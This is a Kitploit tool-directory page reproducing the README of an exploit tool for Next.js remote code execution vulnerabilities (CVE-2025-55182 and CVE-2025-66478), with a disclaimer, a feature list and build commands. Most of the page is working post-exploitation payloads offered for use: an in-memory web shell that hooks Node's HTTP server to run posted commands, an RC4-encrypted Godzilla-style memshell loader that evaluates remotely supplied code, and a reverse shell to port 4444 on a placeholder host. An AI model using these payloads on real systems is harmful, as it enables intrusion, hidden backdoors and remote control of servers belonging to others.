Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Nextjs_RCE_Exploit_Tool — Exploit for CVE-2025-55182 & CVE-2025-66478 | Kitploit
Tools/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Exploit for CVE-2025-55182 & CVE-2025-66478

1413659 months agoReviewed by Kitploit
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Next.js RCE Exploit Tool (CVE-2025-55182)


[!CAUTION] 免责声明 / Disclaimer

本工具仅供安全研究与教学使用。用户在使用本工具进行测试时,必须确保已获得目标系统的合法授权。

严禁用于非授权的渗透测试、恶意攻击或任何非法用途。用户感知和利用漏洞所产生的一切风险与法律后果由用户自行承担,与本项目开发者无关。

如果不接受此条款,请立即停止下载或使用本工具。

本工具基于公开文章开发,不提供编译好的二进制发布版本,请自行审计代码并编译。


🙏 致谢 / Credits

本工具的核心逻辑与绕过思路深受社区安全研究员的启发,特此向以下师傅致以诚挚的感谢:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ 功能特性 / Features

  • 利用链支持:
    • Prototype Chain
    • Array Map Chain
  • WAF 绕过:
    • ✅ Unicode 编码
    • ✅ UTF-16LE 编码
  • :
OpSec
  • 🔐 AES Payload 加密
  • 工具箱:
    • 命令执行: 支持同步 (execSync) 与异步 (exec) 模式。
    • 文件管理: 仿资源管理器界面,支持文件浏览、读取、写入。
    • 高级利用: 支持原生 JS 代码执行、模块加载 (module._load)。

  • 🛠️ 快速开始

    1. 漏洞验证 (Nuclei)

    使用 Nuclei 进行批量指纹识别与漏洞验证:

    root@kitploit:~
    nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt
    

    2. 编译与运行

    root@kitploit:~
    # 整理依赖
    go mod tidy
    
    # 编译
    go build -ldflags="-s -w" -o ReactExploit cmd/main.go
    
    # 运行
    ./ReactExploit
    

    📸 功能截图 / Screenshots

    1. 编码

    Config & WAF Bypass

    2. 命令执行 (RCE)

    RCE

    3. 文件资源管理

    File Explorer
    File Read

    4. 进阶使用 (Native JS Eval)

    JS Eval
    Module Load

    💉 Payload 示例

    在“高级利用 -> 原生 JS 代码执行”模块中,可以使用以下 Payload 进行后渗透操作。

    1. 内存马注入

    cmdlinux

    root@kitploit:~
    (function(){
        try {
            if (global.memshell_active) return "Memshell already active!";
            var http = process.mainModule.require('http');
            var cp = process.mainModule.require('child_process');
            var qs = process.mainModule.require('querystring');
            var originalEmit = http.Server.prototype.emit;
            http.Server.prototype.emit = function(event, req, res) {
                if (event === 'request' && req && res) {
                    var url = req.url || "";
                    if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                        var bodyArr = [];
                        req.on('data', function(chunk) {
                            bodyArr.push(chunk);
                        });
                        req.on('end', function() {
                            try {
                                var bodyStr = Buffer.concat(bodyArr).toString();
                                var postData = qs.parse(bodyStr);
                                var cmd = postData['pwd'];
                                if (cmd) {
                                    var output = cp.execSync(cmd).toString();
                                    res.writeHead(200, {'Content-Type': 'text/plain'});
                                    res.end(output);
                                } else {
                                    res.writeHead(400);
                                    res.end("Parameter 'pwd' is missing.");
                                }
                            } catch (e) {
                                res.writeHead(500);
                                res.end("Error: " + e.message);
                            }
                        });
                        return true;
                    }
                }
                return originalEmit.apply(this, arguments);
            };
            global.memshell_active = true;
            return "Memshell injected!";
        } catch (e) {
            return "Injection failed: " + e.message;
        }
    })()
    

    https://github.com/BeichenDream/GodzillaNodeJsPayload

    root@kitploit:~
    (function() {
        try {
            if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
            var http = process.mainModule.require('http');
            var secretKey = '3c6e0b8a9c15224a'; 
            var payloadName = 'ge0b8a';
            function rc4(key, data) {
                var s = Array(256), k = Array(256);
                var i, j = 0, tmp;
                for (i = 0; i < 256; i++) {
                    s[i] = i;
                    k[i] = key.charCodeAt(i % key.length);
                }
                for (i = 0; i < 256; i++) {
                    j = (j + s[i] + k[i]) % 256;
                    tmp = s[i];
                    s[i] = s[j];
                    s[j] = tmp;
                }
                i = j = 0;
                var out = Buffer.alloc(data.length);
                for (var idx = 0; idx < data.length; idx++) {
                    i = (i + 1) % 256;
                    j = (j + s[i]) % 256;
                    tmp = s[i];
                    s[i] = s[j];
                    s[j] = tmp;
                    var t = (s[i] + s[j]) % 256;
                    out[idx] = data[idx] ^ s[t];
                }
                return out;
            }
            var originalEmit = http.Server.prototype.emit;
            http.Server.prototype.emit = function(event, req, res) {
                if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', async function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var json = JSON.parse(bodyStr);
    
                            if (json.data) {
                                var dataBuf = Buffer.from(json.data, 'base64');
                                var rawBody = rc4(secretKey, dataBuf);
                                if (global[payloadName] === undefined) {
                                    try {
                                        var tmpPayload = new Function(rawBody.toString())();
                                        if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                            global[payloadName] = tmpPayload;
                                        }
                                    } catch (err) {
                                    }
                                }
                                if (global[payloadName] !== undefined) {
                                    var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                    var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                    var encResult = rc4(secretKey, resultBuf);
                                    res.writeHead(200, {'Content-Type': 'application/json'});
                                    res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                    return;
                                }
                            }
                        } catch (e) {
                        }
                       
                        res.writeHead(200, {'Content-Type': 'application/json'});
                        res.end(JSON.stringify({data: null}));
                    });
                    return true;
                }
                return originalEmit.apply(this, arguments);
            };
            global.godzilla_memshell_hooked = true;
            return "Godzilla Loader-Mode Memshell injected!";
        } catch (e) {
            return "Injection failed: " + e.message;
        }
    })()
    

    2. 反弹 Shell

    root@kitploit:~
    (function(){
        try {
            var net = process.mainModule.require('net');
            var cp = process.mainModule.require('child_process');
            // 可根据环境修改为 /bin/bash
            var sh = cp.spawn('/bin/sh', ['-i']);
            var client = new net.Socket();
            
            client.on('error', function(err) {
                if (sh) sh.kill(); 
            });
            sh.on('error', function(err) {
                if (client) client.destroy();
            });
            
            client.connect(4444, 'x.x.x.x', function(){
                client.pipe(sh.stdin);
                sh.stdout.pipe(client);
                sh.stderr.pipe(client);
            });
            return "Spawned successfully (Async)";
        } catch (e) {
            return "Failed to spawn: " + e.message;
        }
    })();
    

    Download Tool